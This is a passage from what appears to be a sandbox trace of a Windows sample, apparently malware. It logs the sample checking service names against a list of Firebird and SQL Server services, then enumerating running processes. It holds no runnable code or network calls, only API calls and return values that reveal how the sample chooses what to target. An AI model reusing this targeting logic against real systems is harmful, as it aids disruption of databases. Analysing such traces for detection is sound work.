(lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0250.598] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0250.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0250.598] lstrlenW (lpString="DPS") returned 3 [0250.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0250.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0250.598] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0250.598] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0250.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0250.598] lstrlenW (lpString="DusmSvc") returned 7 [0250.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0250.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0250.598] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0250.598] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0250.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0250.598] lstrlenW (lpString="EventLog") returned 8 [0250.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0250.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0250.598] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0250.598] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0250.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0250.599] lstrlenW (lpString="EventSystem") returned 11 [0250.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0250.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0250.599] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0250.599] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0250.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0250.599] lstrlenW (lpString="FontCache") returned 9 [0250.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0250.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0250.599] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0250.599] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0250.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0250.599] lstrlenW (lpString="gpsvc") returned 5 [0250.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0250.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0250.599] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0250.599] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0250.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0250.599] lstrlenW (lpString="iphlpsvc") returned 8 [0250.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0250.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0250.599] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0250.599] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0250.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0250.599] lstrlenW (lpString="KeyIso") returned 6 [0250.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0250.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0250.599] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0250.599] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0250.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0250.599] lstrlenW (lpString="LanmanServer") returned 12 [0250.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0250.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0250.599] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0250.600] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0250.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0250.600] lstrlenW (lpString="LanmanWorkstation") returned 17 [0250.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0250.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0250.600] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0250.600] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0250.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0250.600] lstrlenW (lpString="lfsvc") returned 5 [0250.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0250.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0250.600] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0250.600] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0250.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0250.600] lstrlenW (lpString="lmhosts") returned 7 [0250.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0250.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0250.600] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0250.600] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0250.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0250.600] lstrlenW (lpString="LSM") returned 3 [0250.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0250.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0250.600] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0250.600] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0250.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0250.600] lstrlenW (lpString="MpsSvc") returned 6 [0250.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0250.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0250.600] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0250.600] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0250.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0250.600] lstrlenW (lpString="NcbService") returned 10 [0250.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0250.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0250.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0250.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0250.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0250.601] lstrlenW (lpString="netprofm") returned 8 [0250.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0250.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0250.601] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0250.601] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0250.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0250.601] lstrlenW (lpString="NgcSvc") returned 6 [0250.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0250.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0250.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0250.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0250.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0250.601] lstrlenW (lpString="NlaSvc") returned 6 [0250.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0250.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0250.601] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0250.601] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0250.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0250.601] lstrlenW (lpString="nsi") returned 3 [0250.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0250.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0250.601] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0250.601] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0250.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0250.602] lstrlenW (lpString="PcaSvc") returned 6 [0250.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0250.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0250.602] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0250.602] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0250.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0250.602] lstrlenW (lpString="PlugPlay") returned 8 [0250.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0250.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0250.602] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0250.602] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0250.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0250.602] lstrlenW (lpString="Power") returned 5 [0250.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0250.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0250.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0250.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0250.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0250.602] lstrlenW (lpString="ProfSvc") returned 7 [0250.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0250.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0250.602] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0250.602] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0250.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0250.602] lstrlenW (lpString="RpcEptMapper") returned 12 [0250.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0250.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0250.603] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0250.603] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0250.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0250.603] lstrlenW (lpString="RpcSs") returned 5 [0250.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0250.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0250.603] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0250.603] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0250.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0250.603] lstrlenW (lpString="SamSs") returned 5 [0250.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0250.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0250.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0250.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0250.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0250.603] lstrlenW (lpString="Schedule") returned 8 [0250.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0250.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0250.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0250.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0250.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0250.603] lstrlenW (lpString="SecurityHealthService") returned 21 [0250.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0250.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0250.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0250.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0250.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0250.603] lstrlenW (lpString="SENS") returned 4 [0250.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0250.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0250.603] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0250.603] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0250.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0250.604] lstrlenW (lpString="ShellHWDetection") returned 16 [0250.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0250.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0250.604] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0250.604] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0250.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0250.604] lstrlenW (lpString="Spooler") returned 7 [0250.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0250.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0250.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0250.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0250.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0250.604] lstrlenW (lpString="StateRepository") returned 15 [0250.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0250.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0250.604] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0250.604] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0250.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0250.604] lstrlenW (lpString="SysMain") returned 7 [0250.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0250.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0250.604] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0250.604] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0250.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0250.604] lstrlenW (lpString="SystemEventsBroker") returned 18 [0250.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0250.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0250.604] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0250.604] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0250.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0250.604] lstrlenW (lpString="Themes") returned 6 [0250.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0250.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0250.604] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0250.604] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0250.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0250.605] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0250.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0250.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0250.605] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0250.605] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0250.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0250.605] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0250.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0250.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0250.605] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0250.605] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0250.605] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a3220 | out: hHeap=0x640000) returned 1 [0250.605] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a0 [0250.610] Process32FirstW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.611] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.773] lstrlenW (lpString="System") returned 6 [0250.773] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.774] lstrlenW (lpString="smss.exe") returned 8 [0250.774] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.774] lstrlenW (lpString="csrss.exe") returned 9 [0250.774] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.775] lstrlenW (lpString="wininit.exe") returned 11 [0250.775] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.775] lstrlenW (lpString="csrss.exe") returned 9 [0250.776] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.776] lstrlenW (lpString="winlogon.exe") returned 12 [0250.776] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.777] lstrlenW (lpString="services.exe") returned 12 [0250.777] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.777] lstrlenW (lpString="lsass.exe") returned 9 [0250.777] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0250.778] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0250.778] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0250.779] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0250.779] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.779] lstrlenW (lpString="svchost.exe") returned 11 [0250.779] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.780] lstrlenW (lpString="svchost.exe") returned 11 [0250.780] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.780] lstrlenW (lpString="dwm.exe") returned 7 [0250.780] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.781] lstrlenW (lpString="svchost.exe") returned 11 [0250.781] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.782] lstrlenW (lpString="svchost.exe") returned 11 [0250.782] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.782] lstrlenW (lpString="svchost.exe") returned 11 [0250.782] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.783] lstrlenW (lpString="svchost.exe") returned 11 [0250.783] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.784] lstrlenW (lpString="svchost.exe") returned 11 [0250.784] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.785] lstrlenW (lpString="svchost.exe") returned 11 [0250.785] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.786] lstrlenW (lpString="svchost.exe") returned 11 [0250.786] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.786] lstrlenW (lpString="svchost.exe") returned 11 [0250.786] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.787] lstrlenW (lpString="svchost.exe") returned 11 [0250.787] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, 